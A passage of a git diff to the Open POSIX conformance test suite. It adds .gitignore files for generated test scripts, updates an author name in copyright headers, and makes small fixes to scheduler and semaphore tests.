diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/.gitignore
new file mode 100644
index 0000000..fa7e08a
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/.gitignore
@@ -0,0 +1 @@
+/pthread_attr_setinheritsched_3-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/.gitignore
new file mode 100644
index 0000000..a3a9473
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/.gitignore
@@ -0,0 +1 @@
+/pthread_attr_setschedparam_2-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/.gitignore
new file mode 100644
index 0000000..4a7f237
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/.gitignore
@@ -0,0 +1 @@
+/pthread_attr_setschedpolicy_3-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setscope/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setscope/.gitignore
new file mode 100644
index 0000000..4b3819e
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setscope/.gitignore
@@ -0,0 +1 @@
+/pthread_attr_setscope_3-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/.gitignore
new file mode 100644
index 0000000..2224722
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/.gitignore
@@ -0,0 +1,2 @@
+/pthread_attr_setstack_3-1.sh
+/pthread_attr_setstack_5-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstacksize/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstacksize/.gitignore
new file mode 100644
index 0000000..9d0bec7
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstacksize/.gitignore
@@ -0,0 +1 @@
+/pthread_attr_setstacksize_3-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_destroy/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_destroy/.gitignore
new file mode 100644
index 0000000..f02c694
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_destroy/.gitignore
@@ -0,0 +1 @@
+/pthread_barrier_destroy_3-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_init/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_init/.gitignore
new file mode 100644
index 0000000..16de50b
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_init/.gitignore
@@ -0,0 +1 @@
+/pthread_barrier_init_2-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/.gitignore
new file mode 100644
index 0000000..0d08226
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/.gitignore
@@ -0,0 +1,2 @@
+/pthread_barrier_wait_4-1.sh
+/pthread_barrier_wait_5-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_destroy/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_destroy/.gitignore
new file mode 100644
index 0000000..1f4b9da
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_destroy/.gitignore
@@ -0,0 +1 @@
+/pthread_barrierattr_destroy_2-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_getpshared/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_getpshared/.gitignore
new file mode 100644
index 0000000..ce5b8a4
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_getpshared/.gitignore
@@ -0,0 +1 @@
+/pthread_barrierattr_getpshared_3-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_init/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_init/.gitignore
new file mode 100644
index 0000000..831c1c8
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_init/.gitignore
@@ -0,0 +1 @@
+/pthread_barrierattr_init_3-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_setpshared/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_setpshared/.gitignore
new file mode 100644
index 0000000..8c0de4a
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_setpshared/.gitignore
@@ -0,0 +1 @@
+/pthread_barrierattr_setpshared_3-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_pop/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_pop/.gitignore
new file mode 100644
index 0000000..57a85c6
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_pop/.gitignore
@@ -0,0 +1 @@
+/pthread_cleanup_pop_2-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_push/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_push/.gitignore
new file mode 100644
index 0000000..2d1610e
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_push/.gitignore
@@ -0,0 +1 @@
+/pthread_cleanup_push_2-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getclock/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getclock/.gitignore
new file mode 100644
index 0000000..0012d69
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getclock/.gitignore
@@ -0,0 +1 @@
+/pthread_condattr_getclock_2-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getpshared/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getpshared/.gitignore
new file mode 100644
index 0000000..3a8f851
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getpshared/.gitignore
@@ -0,0 +1 @@
+/pthread_condattr_getpshared_3-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_getcpuclockid/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_getcpuclockid/.gitignore
new file mode 100644
index 0000000..b17b4b7
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_getcpuclockid/.gitignore
@@ -0,0 +1 @@
+/pthread_getcpuclockid_2-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_delete/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_delete/.gitignore
new file mode 100644
index 0000000..06e2a99
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_delete/.gitignore
@@ -0,0 +1 @@
+/pthread_key_delete_3-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/1-1.c
index e605484..9b3a606 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/1-1.c
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, Garrett Cooper.
+ * Copyright (c) 2010, Ngie Cooper.
  *
  * Test that pthread_mutex_getprioceiling() returns the current prioceiling of
  * the mutex with PTHREAD_PRIO_PROTECT.
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/3-1.c
index fcaa9ba..1b8d736 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/3-1.c
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, Garrett Cooper.
+ * Copyright (c) 2010, Ngie Cooper.
  *
  * Test that pthread_mutex_getprioceiling() fails because:
  *
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/3-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/3-2.c
index 95bf96b..98449bf 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/3-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/3-2.c
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, Garrett Cooper.
+ * Copyright (c) 2010, Ngie Cooper.
  *
  * Test that pthread_mutex_getprioceiling() fails because:
  *
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/3-3.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/3-3.c
index 96b944e..bdfed50 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/3-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_getprioceiling/3-3.c
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, Garrett Cooper.
+ * Copyright (c) 2010, Ngie Cooper.
  *
  * Test that pthread_mutex_getprioceiling() fails because:
  *
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_setprioceiling/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_setprioceiling/1-1.c
index 8ee685f..12b6cec 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_setprioceiling/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_setprioceiling/1-1.c
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, Garrett Cooper.
+ * Copyright (c) 2010, Ngie Cooper.
  *
  * Test that pthread_mutex_setprioceiling()
  *
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getprioceiling/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getprioceiling/.gitignore
new file mode 100644
index 0000000..af52c05
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getprioceiling/.gitignore
@@ -0,0 +1 @@
+/pthread_mutexattr_getprioceiling_2-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getpshared/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getpshared/.gitignore
new file mode 100644
index 0000000..135b199
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getpshared/.gitignore
@@ -0,0 +1 @@
+/pthread_mutexattr_getpshared_2-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprioceiling/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprioceiling/.gitignore
new file mode 100644
index 0000000..843a650
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprioceiling/.gitignore
@@ -0,0 +1 @@
+/pthread_mutexattr_setprioceiling_2-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprotocol/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprotocol/.gitignore
new file mode 100644
index 0000000..e35313f
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprotocol/.gitignore
@@ -0,0 +1 @@
+/pthread_mutexattr_setprotocol_2-2.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/.gitignore
new file mode 100644
index 0000000..d1d506c
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/.gitignore
@@ -0,0 +1 @@
+/pthread_mutexattr_settype_6-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_destroy/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_destroy/.gitignore
new file mode 100644
index 0000000..fdc1d66
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_destroy/.gitignore
@@ -0,0 +1 @@
+/pthread_rwlock_destroy_2-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/.gitignore
new file mode 100644
index 0000000..b9230fd
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/.gitignore
@@ -0,0 +1 @@
+/pthread_rwlock_init_4-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/.gitignore
new file mode 100644
index 0000000..2d0b23f
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/.gitignore
@@ -0,0 +1 @@
+/pthread_rwlock_rdlock_6-2.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/.gitignore
new file mode 100644
index 0000000..8163686
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/.gitignore
@@ -0,0 +1,2 @@
+/pthread_rwlock_timedrdlock_4-1.sh
+/pthread_rwlock_timedrdlock_7-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/.gitignore
new file mode 100644
index 0000000..d1cf120
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/.gitignore
@@ -0,0 +1,2 @@
+/pthread_rwlock_timedwrlock_4-1.sh
+/pthread_rwlock_timedwrlock_7-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_tryrdlock/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_tryrdlock/.gitignore
new file mode 100644
index 0000000..ac0bdbb
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_tryrdlock/.gitignore
@@ -0,0 +1,2 @@
+/pthread_rwlock_tryrdlock_2-1.sh
+/pthread_rwlock_tryrdlock_3-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_trywrlock/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_trywrlock/.gitignore
new file mode 100644
index 0000000..19982b8
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_trywrlock/.gitignore
@@ -0,0 +1 @@
+/pthread_rwlock_trywrlock_2-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_destroy/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_destroy/.gitignore
new file mode 100644
index 0000000..f6ca54e
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_destroy/.gitignore
@@ -0,0 +1 @@
+/pthread_rwlockattr_destroy_3-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/.gitignore
new file mode 100644
index 0000000..9d8fce5
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/.gitignore
@@ -0,0 +1 @@
+/pthread_rwlockattr_getpshared_5-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_init/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_init/.gitignore
new file mode 100644
index 0000000..5a82d49
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_init/.gitignore
@@ -0,0 +1 @@
+/pthread_rwlockattr_init_3-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_setpshared/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_setpshared/.gitignore
new file mode 100644
index 0000000..001f006
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_setpshared/.gitignore
@@ -0,0 +1 @@
+/pthread_rwlockattr_setpshared_2-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_setspecific/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_setspecific/.gitignore
new file mode 100644
index 0000000..cc109b0
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_setspecific/.gitignore
@@ -0,0 +1 @@
+/pthread_setspecific_3-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_destroy/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_destroy/.gitignore
new file mode 100644
index 0000000..f0c7e64
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_destroy/.gitignore
@@ -0,0 +1 @@
+/pthread_spin_destroy_2-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/.gitignore
new file mode 100644
index 0000000..0baadaf
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/.gitignore
@@ -0,0 +1 @@
+/pthread_spin_init_3-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/.gitignore
new file mode 100644
index 0000000..c3915c7
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/.gitignore
@@ -0,0 +1 @@
+/pthread_spin_lock_2-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_trylock/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_trylock/.gitignore
new file mode 100644
index 0000000..f1d783b
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_trylock/.gitignore
@@ -0,0 +1,2 @@
+/pthread_spin_trylock_2-1.sh
+/pthread_spin_trylock_3-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/.gitignore
new file mode 100644
index 0000000..12cb77d
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/.gitignore
@@ -0,0 +1 @@
+/pthread_spin_unlock_2-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_max/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_max/.gitignore
new file mode 100644
index 0000000..d1c5d4f
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_max/.gitignore
@@ -0,0 +1 @@
+/sched_get_priority_max_3-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_min/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_min/.gitignore
new file mode 100644
index 0000000..d273571
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_min/.gitignore
@@ -0,0 +1 @@
+/sched_get_priority_min_3-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/.gitignore
new file mode 100644
index 0000000..fe18d40
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/.gitignore
@@ -0,0 +1 @@
+/sched_getparam_5-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sched_getscheduler/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/sched_getscheduler/.gitignore
new file mode 100644
index 0000000..ef46b93
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sched_getscheduler/.gitignore
@@ -0,0 +1 @@
+/sched_getscheduler_6-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sched_rr_get_interval/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/sched_rr_get_interval/.gitignore
new file mode 100644
index 0000000..53e0fc1
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sched_rr_get_interval/.gitignore
@@ -0,0 +1 @@
+/sched_rr_get_interval_4-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/.gitignore
new file mode 100644
index 0000000..66e6c68
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/.gitignore
@@ -0,0 +1,3 @@
+/sched_setparam_11-1.sh
+/sched_setparam_24-1.sh
+/sched_setparam_4-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/1-1.c
index 8674e2f..f7cfc9e 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/1-1.c
@@ -22,18 +22,18 @@
 
 void child_proc()
 {
-	sigset_t sigset;
+	sigset_t signalset;
 	int sig;
 
-	if (sigemptyset(&sigset) != 0) {
+	if (sigemptyset(&signalset) != 0) {
 		perror("An error occurs when calling sigemptyset()");
 		exit(1);
 	}
-	if (sigaddset(&sigset, SIGUSR1) != 0) {
+	if (sigaddset(&signalset, SIGUSR1) != 0) {
 		perror("An error occurs when calling sigaddset()");
 		exit(1);
 	}
-	if (sigwait(&sigset, &sig) != 0) {
+	if (sigwait(&signalset, &sig) != 0) {
 		perror("An error occurs when calling sigwait()");
 		exit(1);
 	}
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-2.c b/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-2.c
index c80798b..a31eb1d 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-2.c
@@ -38,7 +38,7 @@
 		perror("An error occurs when calling sched_getscheduler()");
 		return PTS_UNRESOLVED;
 	} else if (policy != SCHED_SPORADIC) {
-		if (sched_setscheduler(0, SCHED_SPORADIC, &param) != 0) {
+		if (sched_setscheduler(0, SCHED_SPORADIC, &param) == -1) {
 			perror("An error occurs when calling sched_getparam()");
 			return PTS_UNRESOLVED;
 		}
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/25-2.c b/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/25-2.c
index b5d9898..6183f8c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/25-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/25-2.c
@@ -39,7 +39,7 @@
 			return PTS_UNRESOLVED;
 		}
 
-		if (sched_setscheduler(0, SCHED_SPORADIC, &param) != 0) {
+		if (sched_setscheduler(0, SCHED_SPORADIC, &param) == -1) {
 			perror("An error occurs when calling sched_getparam()");
 			return PTS_UNRESOLVED;
 		}
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/9-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/9-1.c
index 32f3e5b..ced634b 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/9-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/9-1.c
@@ -140,7 +140,7 @@
 	*shmptr = 0;
 
 	param.sched_priority = sched_get_priority_min(SCHED_FIFO);
-	if (sched_setscheduler(getpid(), SCHED_FIFO, &param) != 0) {
+	if (sched_setscheduler(getpid(), SCHED_FIFO, &param) == -1) {
 		if (errno == EPERM) {
 			printf("This process does not have the permission"
 			       " to set its own scheduling parameter.\n"
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/.gitignore
new file mode 100644
index 0000000..ccff046
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/.gitignore
@@ -0,0 +1,3 @@
+/sched_setscheduler_18-1.sh
+/sched_setscheduler_3-1.sh
+/sched_setscheduler_8-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/15-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/15-1.c
index 305a6da..56ef0c6 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/15-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/15-1.c
@@ -57,7 +57,7 @@
 	}
 
 	param.sched_priority = sched_get_priority_min(new_policy);
-	if (sched_setscheduler(getpid(), new_policy, &param) != 0) {
+	if (sched_setscheduler(getpid(), new_policy, &param) == -1) {
 		if (errno == EPERM) {
 			printf
 			    ("This process does not have the permission to set its own scheduling policy.\nTry to launch this test as root.\n");
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/15-2.c b/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/15-2.c
index 30013bb..316dcab 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/15-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/15-2.c
@@ -63,7 +63,7 @@
 	}
 
 	param.sched_priority = new_priority;
-	if (sched_setscheduler(getpid(), SCHED_FIFO, &param) != 0) {
+	if (sched_setscheduler(getpid(), SCHED_FIFO, &param) == -1) {
 		if (errno == EPERM) {
 			printf
 			    ("This process does not have the permission to set its own scheduling policy.\nTry to launch this test as root.\n");
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/22-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/22-1.c
index ad0a469..791ec69 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/22-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/22-1.c
@@ -45,7 +45,7 @@
 	    SCHED_RR : SCHED_FIFO;
 
 	param.sched_priority = sched_get_priority_min(new_policy);
-	if (sched_setscheduler(getpid(), new_policy, &param) != 0) {
+	if (sched_setscheduler(getpid(), new_policy, &param) == -1) {
 		if (errno == EPERM) {
 			printf
 			    ("This process does not have the permission to set its own scheduling policy.\nTry to launch this test as root.\n");
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/22-2.c b/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/22-2.c
index 2196ecc..5e3c502 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/22-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/22-2.c
@@ -44,7 +44,7 @@
 	new_priority = (param.sched_priority == max_priority) ?
 	    sched_get_priority_min(SCHED_FIFO) : max_priority;
 	param.sched_priority = new_priority;
-	if (sched_setscheduler(getpid(), SCHED_FIFO, &param) != 0) {
+	if (sched_setscheduler(getpid(), SCHED_FIFO, &param) == -1) {
 		if (errno == EPERM) {
 			printf
 			    ("This process does not have the permission to set its own scheduling policy.\nTry to launch this test as root.\n");
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_post/8-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sem_post/8-1.c
index 08e9463..d41a7e4 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sem_post/8-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_post/8-1.c
@@ -44,6 +44,7 @@
 #include <sys/types.h>
 #include <sys/wait.h>
 #include <stdlib.h>
+#include "proc.h"
 
 #define TEST "sem_post_8-1"
 
@@ -184,7 +185,8 @@
 		usleep(100);
 		sem_getvalue(sem_1, &val);
 	} while (val != 1);
-	usleep(100);
+	tst_process_state_wait3(c_1, 'S', 2000);
+	tst_process_state_wait3(c_2, 'S', 2000);
 
 	c_3 = fork();
 	switch (c_3) {
@@ -204,7 +206,7 @@
 		usleep(100);
 		sem_getvalue(sem_1, &val);
 	} while (val != 0);
-	usleep(100);
+	tst_process_state_wait3(c_3, 'S', 2000);
 
 	/* Ok, let's release the lock */
 	fprintf(stderr, "P: release lock\n");
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/.gitignore
